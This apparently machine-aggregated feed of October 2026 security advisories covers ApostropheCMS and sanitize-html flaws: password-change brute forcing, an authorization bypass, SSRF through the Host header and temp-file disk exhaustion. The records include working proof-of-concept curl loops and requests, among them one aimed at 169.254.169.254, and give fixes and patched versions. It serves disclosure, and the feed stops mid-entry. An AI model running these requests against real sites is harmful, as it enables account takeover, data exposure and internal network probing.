GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDozMDoyNlrOAAfvxw%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDowMzo1N1rOAAfvxQ%3D%3D
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-113710&date=2026-10-25
**Summary**
The self-service password-change endpoint verifies the current password but does not use the login module’s failed-attempt counter, throttle, delay, or lockout mechanism. An attacker with a valid authenticated session can submit repeated guesses for the current password without receiving a lockout or throttle response.

**Exact source path**
packages/apostrophe/modules/@apostrophecms/settings/index.js:621-664

**The password-change route is:**
PATCH /api/v1/@apostrophecms/settings/password

**The route calls the password verifier directly through:**
await self.handleProtectedSubform(req, subform, req.body );

**The password verification path is:**
packages/apostrophe/modules/@apostrophecms/settings/index.js:514-542

**async handlePasswordProtectedSubform(req, subform, payload) {
 try {
 await self.apos.user.verifyPassword(req.user, payload.passwordCurrent);
 } catch (e) {
 throw self.apos.error(
 'forbidden',
 'apostrophe:passwordCurrentError',
 { path: 'passwordCurrent' }
 );
 }
 return subform;
}**

**The verifier itself does not increment the login-attempt cache or enforce a delay:**
packages/apostrophe/modules/@apostrophecms/user/index.js:412-487

**By contrast, the login route explicitly calls checkLoginAttempts and addLoginAttempt in:**
packages/apostrophe/modules/@apostrophecms/login/index.js:831-929

**Local PoC**
The test used a disposable authenticated guest session against:

Request:

```
PATCH /api/v1/@apostrophecms/settings/password HTTP/1.1
Host: 127.0.0.1:3000
Cookie: 
Content-Type: application/json

{
 "password": "new-temporary-password",
 "passwordRepeat": "new-temporary-password",
 "passwordCurrent": "definitely-wrong-current-password"
}
```

**Equivalent command:**

```
for i in 1 2 3 4 5; do
 time curl -i -sS \
 -b /path/to/temporary-session-cookie-jar.txt \
 -X PATCH \
 'http://127.0.0.1:3000/api/v1/@apostrophecms/settings/password' \
 -H 'Content-Type: application/json' \
 --data-raw '{
 "password": "new-temporary-password",
 "passwordRepeat": "new-temporary-password",
 "passwordCurrent": "definitely-wrong-current-password"
 }'
done
```

**Observed response**
All five attempts returned the same immediate validation response:
HTTP/1.1 403 Forbidden
Content-Type: application/json; charset=utf-8
{
 "name": "forbidden",
 "data": {
 "path": "passwordCurrent"
 },
 "message": "apostrophe:passwordCurrentError"
}

Observed timings were approximately:
Attempt 1: 231 ms
Attempt 2: 232 ms
Attempt 3: 226 ms
Attempt 4: 229 ms
Attempt 5: 226 ms

No attempt returned a throttle response, lockout message, Retry-After header, or rate-limit status.

seq 1 20 | xargs -P 20 -I{} sh -c \
 "curl --max-time 15 -sS \
 -o /tmp/password-attempt-{}.body \
 -w '%{http_code}\\n' \
 -b /path/to/temporary-session-cookie-jar.txt \
 -X PATCH \
 'http://127.0.0.1:3000/api/v1/@apostrophecms/settings/password' \
 -H 'Content-Type: application/json' \
 --data-raw '{\"password\":\"new-temporary-password-{}\",\"passwordRepeat\":\"new-temporary-password-{}\",\"passwordCurrent\":\"wrong-current-{}\"}'"

Result:
20 requests -> HTTP 403 Forbidden
0 requests -> HTTP 429 Too Many Requests
0 requests -> lockout response

The valid password continued to authenticate afterward:
POST /api/v1/@apostrophecms/login/login HTTP/1.1
HTTP/1.1 200 OK

Impact
An attacker who has obtained or hijacked a valid authenticated session can repeatedly guess the current password through the password-change endpoint. Each guess receives a normal response, and the route does not apply the login throttle or lockout mechanism.
If the current password is weak or reused, this can allow the attacker to pass the current-password check and replace the account password. The attacker would then be able to log in after the password change. The attack requires a valid authenticated session and does not work anonymously.
Severity
Medium, subject to the application’s session-threat model. The prerequisite of an already authenticated session limits exploitability, but successful guessing leads directly to account takeover through password replacement.

Affected package ranges reported by GitHub:
apostrophe: < 4.33.0
Action: GitHub lists first patched versions: apostrophe: 4.33.0. Confirm the affected range and upgrade guidance in the exact advisory.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### ApostropheCMS: Incomplete CVE-2026-53606: `meta http-equiv=refresh` `content` still ships `javascript:` / `data:` URLs
https://kevwire.com/record/CVE-2026-113661
ApostropheCMS: Incomplete CVE-2026-53606: `meta http-equiv=refresh` `content` still ships `javascript:` / `data:` URLs (Oct 20, 2026).
CVE-2026-53606 expanded `allowedSchemesAppliedToAttributes` so named URL attributes (`action`, `formaction`, `data`, `poster`, `background`, later `ping`, `xlink:href`, …) go through `naughtyHref()`. A **URL nested inside `meta` `content`** (`http-equiv=refresh`) is not an attribute name on that list, so the embedded destination is never scheme-checked.

Default `allowedTags` still omit `meta`. Same non-default integrator config as 53606: allow `meta` plus `http-equiv` / `content`.
CVSS 5.4 (version 3.1; evidence as of Oct 20, 2026; https://github.com/advisories/GHSA-cv27-6wvh-8x7j).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-113661&date=2026-10-25).
Sources:
GitHub-reviewed advisory GHSA-cv27-6wvh-8x7j: https://github.com/advisories/GHSA-cv27-6wvh-8x7j
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMTozMDoxM1rOAAfv2A%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMToyODowOVrOAAfv1g%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMToyNDoyMFrOAAfv1Q%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDo0NTowN1rOAAfvzQ%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDozMDoyNlrOAAfvxw%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDowMzo1N1rOAAfvxQ%3D%3D
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-113661&date=2026-10-25
### Summary

CVE-2026-53606 expanded `allowedSchemesAppliedToAttributes` so named URL attributes (`action`, `formaction`, `data`, `poster`, `background`, later `ping`, `xlink:href`, …) go through `naughtyHref()`. A **URL nested inside `meta` `content`** (`http-equiv=refresh`) is not an attribute name on that list, so the embedded destination is never scheme-checked.

Default `allowedTags` still omit `meta`. Same non-default integrator config as 53606: allow `meta` plus `http-equiv` / `content`.

On **2.17.7**:

```text
sanitizeHtml(
 ' ',
 { allowedTags: ['meta'], allowedAttributes: { meta: ['http-equiv', 'content'] } }
)
// => 
```

`data:text/html,…` and arbitrary `https:` destinations also survive. `formaction="javascript:…"` (53606) is stripped.

Please **Request CVE**. Credit: Finder + Reporter (`adrbogacz`).

### Details

`naughtyHref()` only runs when the attribute name is in `allowedSchemesAppliedToAttributes` (`index.js` ~385). Refresh URLs live in a `content` value of the form `0;url=…`, so the gate never fires. Adding `content` to that list wholesale would break ordinary meta `content` (description, viewport).

**Fix:** when `http-equiv` is `refresh` (case-insensitive), parse the `; url=` destination and run `naughtyHref('meta', url)`. Drop `content` (or the tag) if the URL is rejected. Leave other `meta` `content` values alone.

### PoC

Local `sanitize-html@2.17.7`. Output inspection only:

```text
node -e '
const sanitize = require("sanitize-html");
const opts = { allowedTags: ["meta"], allowedAttributes: { meta: ["http-equiv", "content"] } };
for (const html of [
 " ",
 " ",
 " x ",
]) {
 console.log(html, "=>", sanitize(html, html.includes("meta") ? opts : { allowedTags: ["form","button"], allowedAttributes: { button: ["formaction"] } }));
}
'
```

Expected: refresh `javascript:` / `data:` remain; 53606 `formaction` is removed. Do not attach a browser hang or stored-XSS page.

### Impact

An integrator who allowed `meta` + `content` expecting `allowedSchemes` to apply (the 53606 configuration pattern) still emits a refresh to `javascript:`, `data:`, or an attacker `https:` URL. Stored XSS / open redirect for viewers of that HTML. Default config is not affected.

Affected package ranges reported by GitHub:
sanitize-html: < 2.18.0
Action: GitHub lists first patched versions: sanitize-html: 2.18.0. Confirm the affected range and upgrade guidance in the exact advisory.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### ApostropheCMS: :_id/locales REST route omits the public-API authorization gate its sibling read routes enforce (unauthenticated doc-existence + locale metadata disclosure)
https://kevwire.com/record/CVE-2026-113668
ApostropheCMS: :_id/locales REST route omits the public-API authorization gate its sibling read routes enforce (unauthenticated doc-existence + locale metadata disclosure) (Oct 20, 2026).
An unauthenticated caller can confirm the existence of a document by `_id` and enumerate its locales/publication state — information the read-API is meant to gate. Defensibly 4.3 (AC:H) given the opaque `_id` precondition (the caller needs a document id).
 
## How it was verified (local only)
Reproduced against `apostrophe@4.32.2` (== commit `d3ff8c9`) locally with synthetic content:
- Source review confirmed the `:_id/locales` route lacks `publicApiCheckAsync` while the sibling read routes have it.
- An **unauthenticated** `GET /api/v1/ / /locales` returned the document's locale metadata (existence + locales), while the gated read routes (e.g. `getAll`) correctly required the public-API policy.
- Control: the same route with the `publicApiCheckAsync` gate added (matching the siblings) denies the unauthenticated request — isolating the missing gate as the cause.
Synthetic content only; nothing hosted was touched.
 
## Remediation
Add the `publicApiCheckAsync` (or equivalent) authorization gate to the `:_id/locales` route in both the piece-type and page modules, matching the sibling read routes, so the locale/existence metadata is only returned to callers permitted by the public-API policy.
 
## Credit
Please credit **Santosh Kumar Puppala** (https://github.com/Santoshkumarpuppala).
CVSS 5.3 (version 3.1; evidence as of Oct 20, 2026; https://github.com/advisories/GHSA-gqh3-7856-rjjg).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-113668&date=2026-10-25).
Sources:
GitHub-reviewed advisory GHSA-gqh3-7856-rjjg: https://github.com/advisories/GHSA-gqh3-7856-rjjg
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMTozMDoxM1rOAAfv2A%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMToyODowOVrOAAfv1g%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMToyNDoyMFrOAAfv1Q%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDo0NTowN1rOAAfvzQ%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDozMDoyNlrOAAfvxw%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDowMzo1N1rOAAfvxQ%3D%3D
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-113668&date=2026-10-25
## Summary
The REST route `GET /api/v1/ /:_id/locales` (and the equivalent page route) does not apply the `publicApiCheckAsync` gate that ApostropheCMS's other read routes enforce. An unauthenticated caller can therefore query this route for any document `_id` and learn whether the document exists and which locales it is published in — a document-existence and locale-metadata disclosure that the read-API is otherwise supposed to gate.
 
## Affected
- Repository: `apostrophecms/apostrophe` (monorepo package `apostrophe`).
- Confirmed at **4.32.2** (commit `d3ff8c9` == the shipped 4.32.2; unchanged at current HEAD). No fix at time of report.
- Stack: Node.js / Express + MongoDB.
- Endpoints: `GET /api/v1/ /:_id/locales` and `GET /api/v1/@apostrophecms/page/:_id/locales`.

## Technical detail
- Unsafe: `modules/@apostrophecms/piece-type/index.js:397` registers the `:_id/locales` route with **no** `publicApiCheckAsync`. The page module has the same omission at `modules/@apostrophecms/page/index.js:925`.
- Gated siblings: the read routes in the same module (e.g. `getAll` at `piece-type/index.js:256-263`) call `publicApiCheckAsync` (`:263`) to enforce the public-API access policy.
- So the `locales` handler (which calls `getLocales()` for the document) runs for any caller regardless of the public-API gate the other read routes apply, returning the document's locale/publication metadata without authorization.

## Impact

An unauthenticated caller can confirm the existence of a document by `_id` and enumerate its locales/publication state — information the read-API is meant to gate. Defensibly 4.3 (AC:H) given the opaque `_id` precondition (the caller needs a document id).
 
## How it was verified (local only)
Reproduced against `apostrophe@4.32.2` (== commit `d3ff8c9`) locally with synthetic content:
- Source review confirmed the `:_id/locales` route lacks `publicApiCheckAsync` while the sibling read routes have it.
- An **unauthenticated** `GET /api/v1/ / /locales` returned the document's locale metadata (existence + locales), while the gated read routes (e.g. `getAll`) correctly required the public-API policy.
- Control: the same route with the `publicApiCheckAsync` gate added (matching the siblings) denies the unauthenticated request — isolating the missing gate as the cause.
Synthetic content only; nothing hosted was touched.
 
## Remediation
Add the `publicApiCheckAsync` (or equivalent) authorization gate to the `:_id/locales` route in both the piece-type and page modules, matching the sibling read routes, so the locale/existence metadata is only returned to callers permitted by the public-API policy.
 
## Credit
Please credit **Santosh Kumar Puppala** (https://github.com/Santoshkumarpuppala).

Affected package ranges reported by GitHub:
apostrophe: < 4.33.0
Action: GitHub lists first patched versions: apostrophe: 4.33.0. Confirm the affected range and upgrade guidance in the exact advisory.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### ApostropheCMS: Page REST API authorization bypass
https://kevwire.com/record/CVE-2026-113670
ApostropheCMS: Page REST API authorization bypass (Oct 20, 2026).
**Summary**
The core page REST API reads full page documents with `.permission(false)` in `getOne` and in the `all=1` tree dump, bypassing page-type `viewRole`, `visibility: private`, and `visibility: loginRequired` checks. Unauthenticated visitors and low-privilege contributors can read admin-only and non-public page content by `_id`/slug.

**Details**
`packages/apostrophe/modules/@apostrophecms/page/index.js`:
- `getOne` (L456–465): `await self.publicApiCheckAsync(req); ... self.getRestQuery(req).permission(false).and(criteria)` — no `viewRole` threshold, no `visibility` filtering.
- `all` handler (L318–395): `getRestQuery(req).permission(false)` (L384–385) walks every page type and returns the projection including `visibility`.
- `publicApiCheckAsync` (L3044) only checks that `publicApiProjection` exists — it performs no authorization.
- Correct control behaves differently: `piece-type/index.js:getOne` (L319–327) uses `getRestQuery(req)` without `.permission(false)` and enforces `viewRole`.
CVSS 5.3 (version 3.1; evidence as of Oct 20, 2026; https://github.com/advisories/GHSA-2j32-q6rx-h844).
Sources:
GitHub-reviewed advisory GHSA-2j32-q6rx-h844: https://github.com/advisories/GHSA-2j32-q6rx-h844
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMToyODowOVrOAAfv1g%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMToyNDoyMFrOAAfv1Q%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDo0NTowN1rOAAfvzQ%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDozMDoyNlrOAAfvxw%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDowMzo1N1rOAAfvxQ%3D%3D
**Summary**
The core page REST API reads full page documents with `.permission(false)` in `getOne` and in the `all=1` tree dump, bypassing page-type `viewRole`, `visibility: private`, and `visibility: loginRequired` checks. Unauthenticated visitors and low-privilege contributors can read admin-only and non-public page content by `_id`/slug.

**Details**
`packages/apostrophe/modules/@apostrophecms/page/index.js`:
- `getOne` (L456–465): `await self.publicApiCheckAsync(req); ... self.getRestQuery(req).permission(false).and(criteria)` — no `viewRole` threshold, no `visibility` filtering.
- `all` handler (L318–395): `getRestQuery(req).permission(false)` (L384–385) walks every page type and returns the projection including `visibility`.
- `publicApiCheckAsync` (L3044) only checks that `publicApiProjection` exists — it performs no authorization.
- Correct control behaves differently: `piece-type/index.js:getOne` (L319–327) uses `getRestQuery(req)` without `.permission(false)` and enforces `viewRole`.

**PoC**
```
# Anonymous (no session) — private, admin-only page:
curl "http://localhost:3100/api/v1/@apostrophecms/page/d576242ve1dkzb12jiiabujd:en:published"
# → 200 {"_id":"...:en:published","title":"Secret Private Page","slug":"/secret-page",
# "type":"private-type","visibility":"private","secretData":"TOP-SECRET-VALUE-abc123"}

# Anonymous full site-map dump (includes private + loginRequired pages):
curl "http://localhost:3100/api/v1/@apostrophecms/page?all=1" # → 200, full tree

# Contributor (cont_admin) reads full admin-only doc incl. protected field:
curl -b contrib.cookies ".../api/v1/@apostrophecms/page/d576242ve1dkzb12jiiabujd:en:published"
# → 200 secretData = TOP-SECRET-VALUE-abc123
# Controls (correctly enforced):
curl -b contrib.cookies ".../api/v1/@apostrophecms/page?type=private-type&autocomplete=zz" # → 403
curl -b contrib.cookies ".../api/v1/@apostrophecms/page/d576242ve1dkzb12jiiabujd:en:draft" # → 403
```

**Impact**
Unauthenticated disclosure of `visibility: private` and `loginRequired` pages (full documents, not just paths) and of the complete site structure with visibility/type metadata; contributors read admin-only page types and their protected fields. Because `_id`s are enumerable and leaked by `all=1`, this is systemic.

**Remediation** — Remove `.permission(false)` from `getOne`/`all` or re-apply the type's `viewRole` threshold plus the same `visibility`/login-required criteria the list and autocomplete paths use (mirror `piece-type`); make `publicApiCheck` config-presence-only and add an explicit authorization step per verb.

Affected package ranges reported by GitHub:
apostrophe: < 4.33.0
Action: GitHub lists first patched versions: apostrophe: 4.33.0. Confirm the affected range and upgrade guidance in the exact advisory.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### ApostropheCMS: Host header controls server-side image fetch origin in @apostrophecms/ai-helper, enabling authenticated SSRF
https://kevwire.com/record/CVE-2026-113671
ApostropheCMS: Host header controls server-side image fetch origin in @apostrophecms/ai-helper, enabling authenticated SSRF (Oct 20, 2026).
The `@apostrophecms/ai-helper` package builds the URL for a server-side image fetch by resolving a storage-relative path against `req.baseUrl`. When the site does not set a global base URL (the default), `req.baseUrl` is derived from the incoming HTTP `Host` header. An authenticated editor can generate a base64 AI image (which is persisted without a stored `url`) and then send an unauthorized `PATCH` accept request with an attacker-chosen `Host` header. The server then issues an outbound `GET` to the attacker-selected origin, producing a Server-Side Request Forgery primitive that reaches hosts and ports the client cannot otherwise contact. The affected code lives in `packages/ai-helper/modules/@apostrophecms/ai-helper-image/index.js`.

The image accept route trusts `req.baseUrl` as a safe origin for constructing an internal fetch target, but `req.baseUrl` is attacker-influenced whenever the site has no configured base URL. The URL builder concatenates a default local storage path (which is relative, for example `/uploads`) and resolves it against `req.baseUrl`; because the left operand is relative, the resulting origin is taken entirely from `req.baseUrl`. Two protections that exist elsewhere are missing on this path: the generate route enforces an edit capability, but the accept route performs no authorization or ownership check, and no allowlist or validation constrains the resolved origin before the fetch.
CVSS 4.3 (version 3.1; evidence as of Oct 20, 2026; https://github.com/advisories/GHSA-527g-ff96-x6wj).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-113671&date=2026-10-25).
Sources:
GitHub-reviewed advisory GHSA-527g-ff96-x6wj: https://github.com/advisories/GHSA-527g-ff96-x6wj
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMToyODowOVrOAAfv1g%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMToyNDoyMFrOAAfv1Q%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDo0NTowN1rOAAfvzQ%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDozMDoyNlrOAAfvxw%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDowMzo1N1rOAAfvxQ%3D%3D
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-113671&date=2026-10-25
## Summary

The `@apostrophecms/ai-helper` package builds the URL for a server-side image fetch by resolving a storage-relative path against `req.baseUrl`. When the site does not set a global base URL (the default), `req.baseUrl` is derived from the incoming HTTP `Host` header. An authenticated editor can generate a base64 AI image (which is persisted without a stored `url`) and then send an unauthorized `PATCH` accept request with an attacker-chosen `Host` header. The server then issues an outbound `GET` to the attacker-selected origin, producing a Server-Side Request Forgery primitive that reaches hosts and ports the client cannot otherwise contact. The affected code lives in `packages/ai-helper/modules/@apostrophecms/ai-helper-image/index.js`.

## Root Cause

The image accept route trusts `req.baseUrl` as a safe origin for constructing an internal fetch target, but `req.baseUrl` is attacker-influenced whenever the site has no configured base URL. The URL builder concatenates a default local storage path (which is relative, for example `/uploads`) and resolves it against `req.baseUrl`; because the left operand is relative, the resulting origin is taken entirely from `req.baseUrl`. Two protections that exist elsewhere are missing on this path: the generate route enforces an edit capability, but the accept route performs no authorization or ownership check, and no allowlist or validation constrains the resolved origin before the fetch.

```text
packages/ai-helper/modules/@apostrophecms/ai-helper-image/index.js
 aiHelperImageUrl (line 91-92): image.url || new URL(self.uploadfs.getUrl() + `/ai-helper-images/${image._id}.png`, req.baseUrl)
 aiHelperFetchImage (line 64-65): fetch(self.aiHelperImageUrl(req, image))
 apiRoutes.patch['ai-helper/:_id'] (line 314-333): findOne({ _id }) only; no permission or ownership check
packages/apostrophe/modules/@apostrophecms/i18n/index.js
 setPrefixUrls (line 799-820): req.baseUrl falls back to `${req.protocol}://${host}`, host from the Host header when apos.baseUrl is unset
```

## Impact

An attacker who holds a low-privileged editor account (the capability required to generate an AI image, which inserts a base64 record without a stored `url` and returns its identifier) can coerce the server into issuing outbound `GET` requests to an origin of their choosing by supplying a crafted `Host` header on the accept request. This yields SSRF: probing internal hosts and ports that are not reachable from the attacker's network position, and limited semi-blind exfiltration where an image-parseable response at the fixed path becomes a viewable attachment. The request path is fixed to `/uploads/ai-helper-images/ .png`, so only the origin (host, port, and `http` scheme) is attacker-controlled; arbitrary-path retrieval such as cloud metadata traversal is not reachable through this primitive. No integrity or availability primitive was demonstrated. Exploitation requires the default deployment where no global base URL is configured and local file storage is in use, together with a configured provider that returns base64 image data.

## Proof of Concept

```text
Preconditions:
 - ApostropheCMS site with @apostrophecms/ai-helper installed and a configured
 base64-returning image provider.
 - No global base URL configured (apos.baseUrl unset), default local uploadfs.
 - Attacker holds an account with edit capability on at least one content type.
```

1. Authenticate as the editor and generate a base64 AI image:
 `POST /api/v1/@apostrophecms/image/ai-helper` with body `{"prompt":"x"}`. The response contains the new record identifier ` `. The persisted record has no `url` field.
2. Send the accept request with a malicious `Host` header:

```text
PATCH /api/v1/@apostrophecms/image/ai-helper/ HTTP/1.1
Host: 169.254.169.254
Content-Type: application/json

{"accepted": true}
```

3. The server derives `req.baseUrl` as `http://169.254.169.254`, builds the fetch target `http://169.254.169.254/uploads/ai-helper-images/ .png`, and issues the outbound request.

```text
Derivation confirmed against source logic:
 base64 record (no url) + Host: 169.254.169.254
 -> new URL("/uploads/ai-helper-images/ .png", "http://169.254.169.254")
 -> server fetches: http://169.254.169.254/uploads/ai-helper-images/ .png
 control (apos.baseUrl set to https://cms.example.com):
 -> fetch target uses https://cms.example.com (Host ignored)
 control (record stores its own url):
 -> aiHelperImageUrl short-circuits to the stored url (no SSRF)
```

## Attack Chain

1. **Exposure:** The `@apostrophecms/ai-helper-image` module registers `POST` and `PATCH` routes under `/api/v1/@apostrophecms/image/ai-helper`, reachable by any authenticated session on a site that installed the package.
2. **Control:** The attacker controls the HTTP `Host` header on the `PATCH` request; the global `locale` middleware copies it into `req.baseUrl` because `apos.baseUrl` is unset (`packages/apostrophe/modules/@apostrophecms/i18n/index.js:805,816-819`).
3. **Path:** The attacker first generates a base64 image via `POST`, which inserts a record without a `url` (`ai-helper-image/index.js:282-284`); the returned identifier is then used in the `PATCH` accept request, which calls `aiHelperFetchImage` (`:332`).
4. **Guard:** The `PATCH` handler checks only `req.body.accepted` and record existence via `findOne({ _id })` (`:318,:322`); it performs no capability check and no owner scoping, unlike the `POST` route which calls `checkPermissions` (`:176`). No validation constrains the resolved origin before the fetch.
5. **Primitive:** `aiHelperImageUrl` resolves the relative storage path against the Host-derived `req.baseUrl` and `aiHelperFetchImage` calls `fetch` on the result (`:91-92,:64-65`).
6. **Result:** The server performs an outbound `GET` to the attacker-chosen origin at a fixed path, granting internal host and port reachability and limited semi-blind response retrieval that the attacker's network position does not otherwise permit.

#

Affected package ranges reported by GitHub:
@apostrophecms/ai-helper: >= 1.0.0-beta.10, < 1.0.0-beta.13
Action: GitHub lists first patched versions: @apostrophecms/ai-helper: 1.0.0-beta.13. Confirm the affected range and upgrade guidance in the exact advisory.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### ApostropheCMS: Unauthenticated CSV import requests leave rejected uploads in the system temporary directory
https://kevwire.com/record/CVE-2026-113658
ApostropheCMS: Unauthenticated CSV import requests leave rejected uploads in the system temporary directory (Oct 20, 2026).
A rejected upload can remain in the operating system temporary directory.

Multer writes the file before its extension is checked, and the rejection path does not remove that temporary file. An unauthenticated requester can repeat this with large files and steadily consume temporary disk space.
CVSS 7.5 (version 3.1; evidence as of Oct 23, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-113658).
EPSS 0.6% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-113658&date=2026-10-25).
Sources:
GitHub-reviewed advisory GHSA-qhcq-9pm2-c9w9: https://github.com/advisories/GHSA-qhcq-9pm2-c9w9
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMToyNDoyMFrOAAfv1Q%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDo0NTowN1rOAAfvzQ%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDozMDoyNlrOAAfvxw%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDowMzo1N1rOAAfvxQ%3D%3D
NVD CVE-2026-113658: https://nvd.nist.gov/vuln/detail/CVE-2026-113658
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-113658&date=2026-10-25
### Summary

A rejected upload can remain in the operating system temporary directory.

Multer writes the file before its extension is checked, and the rejection path does not remove that temporary file. An unauthenticated requester can repeat this with large files and steadily consume temporary disk space.

### Details

The endpoint is:

```text
POST /api/v1/@apostrophecms/rich-text-widget/generate-csv-table
```

In `packages/apostrophe/modules/@apostrophecms/rich-text-widget/lib/apiRoutes.js`, Multer first writes the upload to `os.tmpdir()`. The handler then rejects filenames whose extension is not `csv`, but there is no cleanup of the Multer file on this error path.

The route does not require an authenticated user. A normal CSRF cookie is sufficient.

During testing, the request returned HTTP 400 with `Only csv files are supported`, while the complete uploaded content remained in a randomly named file in the configured temporary directory after the response.

### Relationship to prior public work

I reviewed [PR #5013](https://github.com/apostrophecms/apostrophe/pull/5013), which migrated the Rich Text CSV upload path from `connect-multiparty` to Multer. This report concerns cleanup after that migration: the rejected Multer file remains on disk, a behavior not described in the PR or its review discussion.

### POC

Create a small test file. A larger file can be used to demonstrate disk growth, but 1 MiB is enough for a safe local reproduction:

```bash
dd if=/dev/zero of=rejected.txt bs=1M count=1
```

Obtain the normal site cookies and send the rejected upload:

```bash
curl -c cookies.txt 'http://127.0.0.1:3000/' > /dev/null

curl -i -b cookies.txt \
 -F 'file=@rejected.txt;filename=rejected.txt;type=text/plain' \
 'http://127.0.0.1:3000/api/v1/@apostrophecms/rich-text-widget/generate-csv-table'
```

The response is HTTP 400. Compare the contents of the system temporary directory before and after the request:

```bash
ls -lt /tmp
```

A new randomly named file remains present and contains the uploaded bytes.

No login is required. Repeating the multipart request creates additional persistent temporary files.

### Impact

